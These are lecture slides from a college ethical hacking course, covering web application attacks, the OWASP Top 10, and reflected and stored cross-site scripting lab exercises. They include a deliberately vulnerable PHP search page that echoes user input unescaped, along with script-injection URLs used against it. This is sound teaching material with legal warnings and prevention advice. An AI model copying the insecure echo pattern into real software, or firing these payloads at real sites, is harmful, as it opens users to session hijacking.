#### Cabrillo College



#### **Rich's lesson module checklist**

- □ Slides and lab posted
- □ WB converted from PowerPoint
- Print out agenda slide and annotate page numbers
- □ Flash cards
- Properties
- Page numbers
- $\Box$  1<sup>st</sup> minute quiz
- □ Web Calendar summary
- Web book pages
- Commands
- Real test enabled on Canvas
- □ Test accommodations made
- □ Lab 10 tested and published
- Backup slides, whiteboard slides, CCC info, handouts on flash drive
- □ Spare 9v battery for mic
- $\hfill\square$  Key card for classroom door

Last updated 11/15/2017



Evading Network **Devices** 

Cryptography

TCP/IP

Network and **Computer Attacks** 

Enumeration

Hacking Wireless Networks

Hacking Web Servers

**Systems** 

**CIS 76 Ethical Hacking** 

Footprinting and Social Engineering

Port Scanning

Embedded Operating

**Desktop and Server Vulnerabilities** 

Scripting and Programming

#### Student Learner Outcomes

1. Defend a computer and a LAN against a variety of different types of security attacks using a number of hands-on techniques.

2. Defend a computer and a LAN against a variety of different types of security attacks using a number of hands-on techniques.



#### Introductions and Credits



Rich Simms

- HP Alumnus.
- Started teaching in 2008 when Jim Griffin went on sabbatical.
- Rich's site: http://simms-teach.com

And thanks to:

- Steven Bolt at for his WASTC EH training.
- Kevin Vaccaro for his CSSIA EH training and Netlab+ pods.
- EC-Council for their online self-paced CEH v9 course.
- Sam Bowne for his WASTC seminars, textbook recommendation and fantastic EH website (https://samsclass.info/).
- Lisa Bock for her great lynda.com EH course.
- John Govsky for many teaching best practices: e.g. the First Minute quizzes, the online forum, and the point grading system (http://teacherjohn.com/).
- Google for everything else!





#### Student checklist for attending class

Manufactor and the state of the second	a carde a contra a site	LE MARKE EN ALL AND A MARKEN COM
一一回行行的行政化学生的影响	באוזארויגעמוטבר איז פאליונט	、本市地部に現合和テラ m Rich's Carl ・ 注
🗭 🗧 🗋 simms-t	each.com/cis90calenda	ar.php
Costs and Water	1 2 1 1 1 2 3 4 1 1 4 7 1 1 1	a va ka baha dan dan dan dan dari bahari di sebelar kan di Sebelar kan di Asela dan dan dan dan dari berupa da Asela
Entrais Clark	法学的权利的问题	ため、広報にお客切などの正正出
a the follow of the first of the	Rich a Cabrillo C	ollege CIS Classes
The second and a first of the	CIS 90 Calendar	
The seattle seattle	在在空中的 在半下下的	特性性的性性的性质和性性
	SETTING STATE	THE REAL STREET STREET
E E E E E E E E E E E E E E E E E E	the state of the s	
一日在岩桥桥差征。其几	LIT MPREFUT	er canalian bullenanna h
10 二个主要提出的"主任"	C15 90 (1a8 2014) Cab	
A STATE A STATE		alandar - Cucult - Cucult
the state and the second state	Course Phaine Gentury	diciliai
市民國務理理國主國和目	Limber - welled Licks	16 - 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
CIS 76	temon Dute	
LAL CISTO	- link in hill Clima a	nd Lines Overview multiple - Lines and
and the state of the state of the		erstand bow the course we work
Part in the second		evelovery en of computers, operating
a far the former and the	TILL EXCLUSION	ams and virtual machines
the state of the s	Hard and the states a	g SSH for remote betwork og ns
The Fire Book and the	- 프라는 도 참고, 신뢰	u terminals and the commany lare
LL & WHEN YEARSON TO	Philority	新行(14)在44号号号44号号44号第3
- ( Constantio and 183	Pre	sentation slides (download)
社会过行超过了中国	世代語いたの説は	sentation shaes ( <u>dormicad</u> )
STATE TO THE THE THE STATE	- HA CHECKER Store	化了的非常在一种非常在在后来的问题
	man have been a bridge to be the	to #143. Londing into Ours (download)
	high the second and a fight	We have the and the have the
Latter And Charles Later		
中截的方规排列的	다 길 드는 프 귀드 귀 정 응행	
ALL COLLECTION CONT	- HILL STALLEY GI	
1111月月月日天夜日1月1	enter a constant secon	men hit !! I and the i day hit and
大学生が必要なたたの生活。	En En	ter virtual classroom
and the first the states	"江田寺村"自治。王室	
the product of the first of the	- istation that the ist	What I like hardlight the amount of
此社包出社社的秘密	till to the Commo	and a state of the state of th

- 1. Browse to: http://simms-teach.com
- 2. Click the **<u>CIS 76</u>** link.
- 3. Click the <u>Calendar</u> link.
- 4. Locate today's lesson.
- Find the Presentation slides for the lesson and <u>download</u> for easier viewing.
- 6. Click the <u>Enter virtual classroom</u> link to join CCC Confer.
- 7. Log into Opus-II with Putty or ssh command.

Note: Blackboard Collaborate Launcher only needs to be installed once. It has already been downloaded and installed on the classroom PC's.



#### Student checklist for suggested screen layout





#### Student checklist for sharing desktop with classmates

#### 1) Instructor gives you sharing privileges.



3) Click OK button.

4) Select "Share desktop" and click Share button.

Cancel

Share





Rich's CCC Confer checklist - setup



#### [] Preload White Board







#### Rich's CCC Confer checklist - screen layout





[] layout and share apps







#### Rich's CCC Confer checklist - webcam setup









#### Rich's CCC Confer checklist - Elmo



*Run and share the Image Mate program just as you would any other app with CCC Confer* 



The "rotate image" button is necessary if you use both the side table and the white board.

CCC(III)Confer

Quite interesting that they consider you to be an "expert" in order to use this button!







#### **Rich's CCC Confer checklist - universal fixes**

Universal Fix for CCC Confer:

- 1) Shrink (500 MB) and delete Java cache
- 2) Uninstall and reinstall latest Java runtime
- 3) http://www.cccconfer.org/support/technicalSupport.aspx



#### Google Java download





## Start



## Sound Check

Students that dial-in should mute their line using \*6 to prevent unintended noises distracting the web conference.

*Instructor can use \*96 to mute all student lines.* 

Volume

- \*4 increase conference volume.
- \*7 decrease conference volume.
- \*5 increase your voice volume.
- \*8 decrease your voice volume.



Instructor: Rich Simms Dial-in: 888-886-3951 Passcode: 136690





Aga





Sam B:

Tre

Chris





Sam R.



Miguel -----







Ryan A.

Mariano Cameron

Ryan M.

Karl-Heinz May

Remy



Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit



#### First Minute Quiz

## Please answer these questions **in the order** shown:

#### Shown on CCC Confer

#### For credit email answers to:

#### risimms@cabrillo.edu

within the first few minutes of the live class



#### Hacking Web Servers

#### **Objectives**

- Look at vulnerabilities in web applications
- Look at exploits used against web applications
- Look at how to protect web applications

#### Agenda

#### • Quiz #9

- Questions
- In the news
- Best practices
- Housekeeping
- Web applications
- OWASP Top 10
- A3 cross-site scripting (XSS)
- Reflected cross-site scripting (XSS)
- Stored cross-site scripting (XSS)
- Stealing cookies with XSS
- A1 SQL Injection
- A8 Cross Side Request Forgery
- Assignment
- Wrap up



## Admonition



#### Unauthorized hacking is a crime.

The hacking methods and activities learned in this course can result in prison terms, large fines and lawsuits if used in an unethical manner. They may only be used in a lawful manner on equipment you own or where you have explicit permission from the owner.

Students that engage in any unethical, unauthorized or illegal hacking may be dropped from the course and will receive no legal protection or help from the instructor or the college.



# Questions



### Questions

#### How this course works?

Past lesson material?

**Previous labs?** 

Chinese<br/>Proverb他問一個問題,五分鐘是個傻子,他不問一個問題仍然是一個<br/>傻瓜永遠。He who asks a question is a fool for five minutes; he who does not ask a question<br/>remains a fool forever.



# In the news



#### **Previous Term News**

#### Drone hacks room of smart light blubs

http://www.theverge.com/2016/11/3/13507126/iot-drone-hack





- Researchers demonstrated infecting one Hue light with a virus that spreads from lamp to lamp.
- The lights did not have to be on the same private network to get infected.
- The researchers did not need physical access to the lights.
- The infected lights blinked SOS in Morse code.



#### **Previous Term News**

#### This AI Bot That Messes With Email Scammers As Long As Possible Is Brilliant

Digg Nov 8 2017, 12:20 PM

http://digg.com/2017/re-scam-ai-scammer



"Re:scam can take on multiple personas, imitating real human tendencies with humour and grammatical errors, and can engage with infinite scammers all at once, meaning it can continue any email conversation for as long as possible. Re:scam will now turn the tables on the scammers by wasting their time, and ultimately damage the profits for scammers..."



#### **Previous Term News**

#### The Twitter Bot That Sounds Just Like Me

KAVEH WADDELL AUG 18, 2016 The Atlantic

https://www.theatlantic.com/technology/archive/2016/08/the-twitterbot-that-sounds-just-like-me/496340/

R. Waldo Spammerson @rwspammerson	9
@kavehwaddell out of sight, out of sight, out of sight, out of mind. also, harder to tap. goo.gl/mR2d	
12:31 PM - Aug 15, 2016 〇 1 〇 1	θ

"Hackers can use artificial intelligence to mimic their targets' tweets—and entice them to click on malicious links."

"SNAP\_R's average success rate was about 30 percent. That's far better than the usual success rate with automated phishing, which is between 5 and 15 percent, "



#### Phishing helps hackers hijack accounts, says Google study

BBC News 10 November 2017

http://www.bbc.com/news/technology-41940838



"Cyber-thieves grab almost 250,000 valid log-in names and passwords for Google accounts every week, suggests research."

'During the 12 months studying the underground markets, the researchers identified more than 788,000 credentials stolen via keyloggers, 12 million grabbed via phishing and 1.9 billion from breaches at other companies.'



#### Data Breaches, Phishing, or Malware? Understanding the Risks of Stolen Credentials

Joint study between Google and UC Berkeley

Table 4: Top	10 passwords	across all	plaintext leaks.

Rank	Top Passwords	Number of Credentials	Percent of Credentials
1	123456	6,387,184	0.35%
2	password	2,759,747	0.15%
3	123456789	2,249,344	0.12%
4	abc123	985,709	0.10%
5	password1	888,836	0.05%
6*	homelesspa	855,477	0.05%
7	111111	855,257	0.05%
8	qwerty	829,835	0.05%
9	12345678	828,848	0.05%
10	1234567	740,464	0.04%

\* This was the most common password in the MySpace credential leak, but appears to be automatically generated as all email addresses begin with "msmhomelessartist". https://static.googleusercont ent.com/media/research.goo gle.com/en//pubs/archive/4 6437.pdf



#### Data Breaches, Phishing, or Malware? Understanding the Risks of Stolen Credentials

Joint study between Google and UC Berkeley

Table 5: Breakdown of the top five email providers used by miscreants as exfiltration points to receive stolen credentials.

Phishi	ng Kits	Keyloggers		
Mail provider	Popularity	Mail provider	Popularity	
Gmail	72.3%	Gmail	39.0%	
Yahoo	6.8%	Yandex	12.3%	
Yandex	5.1%	Mail.ru	8.5%	
Hotmail	4.2%	Hotmail	3.6%	
Outlook	2.2%	Zoho	1.3%	
Other	9.4%	Other	35.3%	

https://static.googleuser content.com/media/rese arch.google.com/en//pu bs/archive/46437.pdf



#### Data Breaches, Phishing, or Malware? Understanding the Risks of Stolen Credentials

Joint study between Google and UC Berkeley



#### Figure 4: Weekly breakdown of the number of messages our rules flag as containing stolen credential information.



#### Data Breaches, Phishing, or Malware? Understanding the Risks of Stolen Credentials

Joint study between Google and UC Berkeley

Table	10: To	p 10	phishing	kits	and	the	brands	they	target,
ranke	d by nu	ımb	er of poter	ntial	victi	ms.			

Table 11: Top 10 key	ogger families,	, ranked by	the number
of potential victims.			

Brand impersonated	Potential victims	Exfiltration emails	Days active	Keylogger	Activity reports	Exfiltration emails	Day: active
Yahoo, Hotmail, Gmail	1,448,890	2,599	365	HawkEye	409,837	470	36
Workspace Webmail	1,292,778	814	365	Cyborg Logger	173,662	60	36
Dropbox	323,689	976	365	Predator Pain	118,197	326	36
Dropbox	195,758	862	365	Limitless Stealer	24,371	44	36
Google Drive	185,966	382	365	iSpy Keylogger	16,495	162	36
Docusign	152,242	180	365	Olympic Vision	9,056	19	363
ZoomInfo	151,282	19	364	Unknown Logger	8,561	17	352
Docusign	142,761	175	365	Saint Andrew's	6,802	1	352
Office 365	133,044	166	284	Infinity Logger	4,690	15	363
AOL	130,898	507	365	Redpill Spy	3,668	15	363



# Best Practices



#### Secure your router

## welivesecurity

- 1. Change your default username and password.
- 2. If you specifically don't need Universal Plug and Play (UPnP) then disable it.
- 3. Turn off remote management (requires physical access).
- 4. Change the name of your access point.
- 5. Require a password for your WiFi connection.
- 6. Update the firmware on your router and IoT devices.
- 7. Research your purchases.
- 8. Read reviews.
- 9. Check for known vulnerabilities.
- 10.Peruse vendor's website.





#### Housekeeping

#### 1. Lab 9 due 11:59рм tonight.

2. Five more posts due 11:59рм tonight.



#### Housekeeping

# Last Withdraw: 11/18/17

Students who are no longer participating in the class (turning in assignments, posting on the forum, tasking quizzes or tests) may be dropped by the instructor





#### Find Project

You will create an extremitional step-by-step last for VI as that demonstrates a complete harking, attack scenario. You may exploit one or more valuerabilities using Metasphilt, a bot, custom code, social engineering and/or other backing book. You will decreated the preventative measures an organization could take to prevent your attack and bein one or more classmates test their project.

#### manning and Pennission

#### Unauthorized hacking can result in prison terms, large fines, lawsuits and being dropped from this course!

For this project, you have authorization to hack any of the VMs in your VLab pod. Contact the instructor if you need arbitraria VMs.

Research and identify one or more interesting volnerabilities and related apploits.
Using VLAB, create a sector test ben, identifying attacker and victim systems, to run the lab h.
Develop step-by-step instructions on how to set up the test helf.
Develop step-by-step instructions on how to carry out the attack.
Develop a lab of preventative measures the victim could block future attacks.
Have another student test your lab and vorthy the results can be (tuplicated.
Do a presentation and demo to the class.

The final project specifications are now available.

The final project is due on the Lesson 15 day.

<u>https://simms-</u> <u>teach.com/docs/cis76/cis76final-</u> <u>project.pdf</u>



#### Lots and lots of project ideas

#### Awesome-Hacking project list

https://github.com/Hack-with-Github/Awesome-Hacking



Awesome Repositories:

Awesome AppSec Awesome Bug Bounty Awesome CTF Awesome DevSecOps Awesome Exploit Development Awesome Fuzzing Awesome Hacking One Awesome Honeypots Awesome Incident Response

Awesome InfoSec Awesome IoT Hacks Awesome Malware Analysis Awesome Pcaptools Awesome Pentest Awesome PHP Security Awesome Reversing Awesome Sec Talks Awesome SecLists Awesome Security

Awesome Static Analysis Awesome Threat Intelligence Awesome Vehicle Security Awesome Web Hacking Awesome Windows Exploitation Awesome WiFi Arsenal Awesome Android Security Awesome OSX and iOS Security


## Heads up on Final Exam

Test #3 (final exam) is TUESDAY Dec 12 4-6:50PM



*Extra credit labs and final posts due by 11:59PM* 

- All students will take the test at the <u>same time</u>. The test must be completed by 6:50PM.
- Working and long distance students can take the test online via CCC Confer and Canvas.
- Working students will need to plan ahead to arrange time off from work for the test.
- Test #3 is mandatory (even if you have all the points you want)



#### FALL 2017 FINAL EXAMINATIONS SCHEDULE DECEMBER 11 TO DECEMBER 16

#### DAYTIME FINAL SCHEDULE

Daytime Classes: All times in bold refer to the beginning times of classes. MW/Daily means Monday alone, Wednesday alone, Monday and Wednesday or any 3 or more days in any combination. TTH means Tuesday alone, Thursday alone, or Tuesday and Thursday. Classes meeting other combinations of days and/or hours not listed must have a final schedule approved by the Division Dean.

STARTING CLASS TIME / DAY(S)	EXAM HOUR	EXAM DATE
Classes starting between:		
6:30 am and 8:55 am, MW/Daily	7:00 am-9:50 am	Monday, December 11
9:00 am and 10:15 am, MW/Daily	7:00 am-9:50 am	Wednesday, December 13
10:20 am and 11:35 am, MW/Daily	10:00 am-12:50 pm	Monday, December 11
11:40 am and 12:55 pm, MW/Daily	10:00 am-12:50 pm	Wednesday, December 13
1:00 pm and 2:15 pm, MW/Daily	1:00 pm-3:50 pm	Monday, December 11
2:20 pm and 3:35 pm, MW/Daily	1:00 pm-3:50 pm	Wednesday, December 13
3:40 pm and 5:30 pm, MW/Daily	4:00 pm-6:50 pm	Monday, December 11
6:30 am and 8:55 am, TTh	7:00 am-9:50 am	Tuesday, December 12
9:00 am and 10:15 am, TTh	7:00 am-9:50 am	Thursday, December 14
10:20 am and 11:35 am, TTh	10:00 am-12:50 pm	Tuesday, December 12
11:40 am and 12:55 pm, TTH	10:00 am-12:50 pm	Thursday, December 14
1:00 pm and 2:15 pm, TTh	1:00 pm-3:50 pm	Tuesday, December 12
2:20 pm and 3:35 pm, TTh	1:00 pm-3:50 pm	Thursday, December 14
3:40 pm and 5:30 pm, TTh	4:00 pm-6:50 pm	Tuesday, December 12
Friday am	9:00 am-11:50 am	Friday, December 15
Friday pm	1:00 pm-3:50 pm	Friday, December 15
Saturday am	9:00 am-11:50 am	Saturday, December 16
Saturday pm	1:00 pm-3:50 pm	Saturday, December 16

#### CIS 76 Introduction to Cybersecurity: Ethical Hacking

Introduces the various methodologies for attacking a network. Covers network attack methodologies with the emphasis on student use of network attack techniques and tools, and appropriate defenses and countermeasures. Prerequisite: CIS 75. Transfer Credit: Transfers to CSU

Section	Days	Times	Units	Instructor	Room
98163	т	5:30PM-8:35P	3.00	R.Simms	OL
Section 9	98163 is	an ONLINE course. N	Aeets v	veekly throughout th	e semester
online by	remote	technology with an ac	ditiona	al 50 min online lab	per week.
For detai	ls, see ir	nstructor's web page a	at go.ca	abrillo.edu/online.	
98164	т	5:30PM-8:35PM	3.00	R.Simms	828
&	Arr.	Arr.		R.Simms	OL
Section 9	98164 is	a Hybrid ONLINE cou	urse. M	eets weekly through	out the
semester	r at the s	cheduled times with a	an addi	tional 50 min online	lab per week.
For detai	ls, see ir	nstructor's web page a	at go.ca	abrillo.edu/online.	



### Where to find your grades

#### Send me your survey to get your LOR code name.



To run checkgrades update your path in .bash\_profile with: **PATH=\$PATH:/home/cis76/bin** 

Points that could have been earned:				
8 quizzes:	24 points			
8 labs:	240 points			
2 tests:	60 points			
2 forum quarters:	40 points			
Total:	364 points			

_				
F	Percentage	Total Points	Letter Grade	Pass/No Pass
90	% or higher	504 or higher	A	Pass
80	% to 89.9%	448 to 503	В	Pass
70	% to 79.9%	392 to 447	С	Pass
60	1% to 69.9%	336 to 391	D	No pass
0	% to 59.9%	0 to 335	F	No pass

At the end of the term I'll add up all your points and assign you a grade using this table



# Web Applications



## Web Servers and Browsers



Static web pages

Created using HTML

#### Dynamic web pages

- Forms
- PHP
- Active Server Pages (ASP)
- Javascript
- More ...



## Total number of websites



https://news.netcraft.com/archives/2017/10/26/october-2017-web-server-survey-13.html



## Market share of active sites

#### Web server developers: Market share of active sites



Developer	September 2017	Percent	October 2017	Percent	Change
Apache	77,487,531	44.89%	76,631,591	44.50%	-0.39
nginx	35,640,320	20.65%	36,581,250	21.24%	0.60
Google	13,561,655	7.86%	13,592,197	7.89%	0.04
Microsoft	12,629,582	7.32%	12,544,124	7.28%	-0.03

https://news.netcraft.com/archives/2017/10/26/october-2017-web-server-survey-13.html



## Market share of the top million busiest sites



Developer	September 2017	Percent	October 2017	Percent	Change
Apache	388,641	38.86%	386,464	38.65%	-0.22
nginx	293,847	29.38%	294,290	29.43%	0.04
Microsoft	97,320	9.73%	96,507	9.65%	-0.08
Google	16,335	1.63%	16,239	1.62%	-0.01



# OWASP Top Ten



## Open Web Application Security Project (OWASP)



<u>https://www.ow</u> <u>asp.org/index.ph</u> <u>p/Main\_Page</u>

#### **Core Purpose**

"Be the thriving global community that drives visibility and evolution in the safety and security of the world's software."



# Open Web Application Security Project (OWASP)

2013 Top 10 Web Application Security Flaws:

- A1 Injection
- A2 Broken Authentication and Session Management
- A3 Cross-Site Scripting (XSS)
- A4 Insecure Direct Object References
- A5 Security Misconfiguration
- A6 Sensitive Data Exposure
- A7 Missing Function Level Access Control
- A8 Cross-Site Request Forgery (CSRF)
- A9 Using Components with Known Vulnerabilities
- A10 Unvalidated Redirects and Forwards



### **OWASP Top 10**

#### **A1-Injection**

Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

#### **A2-Broken Authentication and Session Management**

Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities.

#### A3-Cross-Site Scripting (XSS)

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

#### **A4-Insecure Direct Object References**

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

#### **A5-Security Misconfiguration**

Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.



#### **OWASP Top 10**

#### **A6-Sensitive Data Exposure**

Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.

#### **A7-Missing Function Level Access Control**

Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.

#### A8-Cross-Site Request Forgery (CSRF)

A CSRF attack forces a logged-on victim's browser to send a forged HTTP request, including the victim's session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim's browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

#### **A9-Using Components with Known Vulnerabilities**

Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.

#### **A10-Unvalidated Redirects and Forwards**

Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.



# Open Web Application Security Project (OWASP)

## OWASP Risk Rating Methodology

Threat Agents	Attack Vectors	Weakness Prevalence	Weakness Detectability	Technical Impacts	Business Impacts
	Easy	Widespread	Easy	Severe	App /
App Specific	Average	Common	Average	Moderate	Business
Specific	Difficult	Uncommon	Difficult	Minor	Specific

https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/owasptop10/OWASP%20Top%2010%20-%202013.pdf



# A3**Cross-Site** Scripting (XSS)

CIS 76 - Lesson 12



## Cross-Site Scripting (XSS)

#### OWASP Risk Rating

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability AVERAGE	Prevalence VERY WIDESPREAD		Impact MODERATE	Application / Business Specific
Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.	Attacker sends text- based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.	XSS is the most pre- application security f occur when an appli supplied data in a pa browser without prop escaping that conter different types of XS and 2) Reflected, an occur on the a) Serv Client. Detection of most Se fairly easy via testing Client XSS is very d	valent web flaw. XSS flaws cation includes user age sent to the perly validating or nt. There are two S flaws: 1) Stored id each of these can ter or b) on the erver XSS flaws is g or code analysis. ifficult to identify.	Attackers can execute scripts in a victim's browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user's browser using malware, etc.	Consider the business value of the affected system and all the data it processes. Also consider the business impact of public exposure of the vulnerability.





## Cross-Site Scripting (XSS)





https://www.youtube.com/watch?v=L5I9ISnNMxg

## OWASP Cross Site Scripting Prevention Cheat Sheet

### How Do I Prevent 'Cross-Site Scripting (XSS)'?

Preventing XSS requires separation of untrusted data from active browser content.

- The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the <u>OWASP XSS</u> <u>Prevention Cheat Sheet</u> for details on the required data escaping techniques.
- Positive or "whitelist" server-side input validation is also recommended as it helps protect against XSS, but is <u>not a</u> <u>complete defense</u> as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
- 3. For rich content, consider auto-sanitization libraries like OWASP's <u>AntiSamy</u> or the Java HTML Sanitizer Project.
- 4. Consider <u>Content Security Policy</u> (CSP) to defend against XSS across your entire site.



# Reflected **Cross-Site** Scripting (XSS) Example



## Reflected Cross-Site Scripting (XSS)

- Non-persistent because nothing is stored in a database.
- Malicious JavaScript is fed into a web page that displays whatever was user entered.
- Malicious Javascript can be inserted into a URL that is then emailed to the victim.



## Reflected XSS Example Reference and Credit





https://www.youtube.com/watch?v=dFci82qwXA0

Excellent set of tutorials on XSS



## Reflected Cross-Site Scripting (XSS)

Example Overview:

We will use a simple form webpage on EH-OWASP-xx to simulate how reflected cross-site scripting can feed malicious code into a form that will then be executed by the browser.

The user/attacker will browse from EH-WinXP to the EH-OWASP web server.



## Reflected Cross-Site Scripting (XSS) Example

### As root on your EH-OWASP VM:

cd /var/www
mkdir lesson12
cd lesson12/
mkdir xss01
cd xss01/
scp xxxxx76@opus-ii:/home/cis76/depot/lesson12/xss01/\* .

chmod 644 index.php service apache2 status

We want to publish this page via the Apache web server

vi index.php

View the web page which contain HTML and PGP code.





```
root@owaspbwa:/var/www/lesson12/xss01# cat index.php
<!DOCTYPE html>
<html>
<!-- Credit: DrapsTV at https://www.youtube.com/watch?v=dFci82qwXA0 -->
<title> XSS Tutorial #2 </title>
<body>
<h1 align="center"> Try My New Search Feature! </h1>
tr>td>
                                                                The web page has
<form action="index.php" method="get">
                                                               a one field web
       <input type="text" name="search" placeholder="search" />
                                                               form and a submit
       <input type="submit" value="Search" />
</form>
                                                                button.
<br />
<br />
<?php
if(isset($ GET["search"]))
                                                                Form data is sent
{
       echo "The results of your search for: ".$ GET["search"];
                                                                in the URL via the
       echo "<br /><br /> <i>Sorry No Results Found! </i>";
                                                                http GET method.
}
?>
<h3 align="center"> This website was made by me! I hope you really really like it! </h3>
</body>
</html>
root@owaspbwa:/var/www/lesson12/xss01#
```

77





#### [WinXP] http://10.76.xx.101/lesson12/xss01/index.php

Eile Edit View Higtory Bookmarks Tools Help	
SS Tutorial #2 × +	
<ul> <li>(i) 10.76.5.101/lesson12/xss01/index.php</li> <li>C Search</li> <li>C Search</li> </ul>	
Try My New Search Feature!	
•••	
search Search	
This website was made by me! I hope you really really like it!	

From your WinXP VM, browse to the new website on your OWASP VM





Star Wars
-----------

Search

Search for: Star Wars

http://10.76.xx.101/lesson12/xss01/index.php?search=Star+Wars

<u>File E</u> dit <u>V</u> iew Hi <u>s</u> tory <u>B</u> ookmarks <u>T</u> ools <u>H</u> elp	
S Tutorial #2 × +	
<ul> <li>(i) 10.76.5.101/lesson12/xss01/index.php?s</li> <li>C Q Search</li> <li>C 10.76.5.101/lesson12/xss01/index.php?s</li> </ul>	
Try My New Search Feature!	
search Search	
The results of your search for: Star Wars	
Sorry No Results Found!	
This website was made by me! I hope you really really like it!	





<font color="green">

Search Se

Search for: <font color="green">

#### http://10.76.xx.101/lesson12/xss01/index.php?search=%3Cfont+color%3D%22green%22%3E

Elle Edit View History Bookmarks Tools Help		Encoding used:
<ul> <li>(•) 10.76.5.101/lesson12/xss01/index.php?search=<f< li=""> <li>(•) 10.76.5.101/lesson12/xss01/index.php?search=<f< li=""> <li>(•) 2</li> <li>(•)</li></f<></li></f<></li></ul>	◙≡	%3C is < %3D is =
Try My New Search Feature!		%22 is " %3E is >
search Search		
The results of your search for:		
Sorry No Results Found		
This website was made by me! I hope you really really like it!		





# Reflected Cross-Site Scripting (XSS) Example

Manually edit the URL at the top of the webpage, changing green to red —

http://10.76.xx.101/lesson12/xss01/index.php?search=%3Cfont+color%3D%22<mark>red</mark>%22%3E

Eile     Edit     View     Higtory     Bookmarks     Tools     Help       State     XSS Tutorial #2     +		Encoding used:
<ul> <li>(i) 10.76.5.101/lesson12/xss01/index.php?s</li> <li>C Q Search</li> <li>C III C Search</li> </ul>	◙ ≡	%22 is " %3C is <
Try My New Search Feature!		%3D is = %3E is >
search Search		
The results of your search for:		
Sorry No Results Found!		
This website was made by me! I hope you really really like it!		



DRAF

#### Reflected Cross-Site Scripting (XSS) Example TV Computer Science

#### http://10.76.xx.101/lesson12/xss01/index.php?search=%3Cfont+color%3D%22red%22%3E



Copy and paste the URI into a different browser and the JavaScript is still executed.

Note, that a tampered URL could be emailed to another user to click on.





been hacked!")</script>

Search for: <script>alert("You've been hacked!")</script>

http://10.76.xx.101/lesson12/xss01/index.php?search=Uh+Oh%3Cscript%3Ealert%28 %22You%27ve+been+hacked%21%22%29%3C%2Fscript%3E





## Activity

## **Try My New Search Feature!**

search

Search

#### Search for:

<img src="http://www.simms-teach.com/images/b.jpg"></img>

Put who you see in the search results in the chat window



# Stored **Cross-Site** Scripting (XSS) Example

85



## Stored Cross-Site Scripting (XSS)

- The attacker uses the web application to post content containing <script> tags full of malicious JavaScript code.
- Later when the victim reads the posted content their browser will execute the malicious script.
- Persistent because the malicious code is stored in the web application database.



## Stored XSS Example Reference and Credit



(i) 10.76.5.101/Web	Soat/source?solution=true	E
Lesson Plan Ti	tle: How to Perform Stored Cross Site Scripting	(XSS)
Concept / Topic It is always a goo be used as para particularly impo should not be ab load an undesira rotrioved	: To Teach: Id practice to scrub all inputs, especially those inj meters to OS commands, scripts, and database tant for content that will be permanently stored sc le to create message content that could cause ar ble page or undesirable content when the user's	puts that will later queries. It is omewhere. Users nother user to message is
retrieved.		
Company Coolin		
General Goal(s) The user should an undesirable p	: be able to add message content that cause anot age or content.	her user to load
General Goal(s) The user should l an undesirable p	: be able to add message content that cause anot age or content.	her user to load
General Goal(s) The user should i an undesirable p	): be able to add message content that cause anot age or content. Second SUI (Mether Second Cable) Second SUI (Mether Second Cable) Second Suite (Second Cable) Second Suite (Second Cable)	her user to load
General Goal(s) The user should an undesirable p	be able to add message content that cause anot age or content.      works (20) • Content Server      worksetement      One of the server Server      one of the server Server Server      one of the server Ser	her user to load
General Goal(s) The user should i an undesirable p	Constraint of the second	her user to load
General Goal(s) The user should an undesirable p	Constraint of the second	her user to load
General Goal(s) The user should an undesirable p	Constraints Const	her user to load
General Goal(s) The user should an undesirable po Contention State (State) Contention State (State) Contention State (State) Contention State Contention State (State) Contention State Contention State Contentio	: be able to add message content that cause anot age or content.	her user to load
General Goal(s) The user should an undesirable p	: be able to add message content that cause anoth age or content. String (35): "Inher here fore: Content of the string of th	her user to load
General Goal(s) The user should an undesirable p Cool - Cool - Cool - Cool - Cool - Cool - Cool - Cool - Cool - Cool - Cool - Cool - Co	Constraints and message content that cause and a ge or content.      Second State Sta	her user to load
General Goal(s) The user should in an undesirable point of the network of the should be the should be the should be the should be the should be the should be the should be the should be the should be the shou	: be able to add message content that cause and age or content.	her user to load

http://10.76.xx.101/WebGoat/source?solution=true

Solution page on OWASP VM website



## Stored Cross-Site Scripting (XSS)

Example Overview:

We will use WebGoat on EH-OWASP-xx to simulate how an attacker can use cross-site scripting to insert malicious code into content for a forum-like web application. In this case a the malicious code stored in the database will display an annoying "Mu Ha Ha Ha" message.

Any victims that read the infected message post will get the annoying message.

The attacker/victim will browse from EH-WinXP to the EH-OWASP web server.



## Stored Cross-Site Scripting (XSS) Example

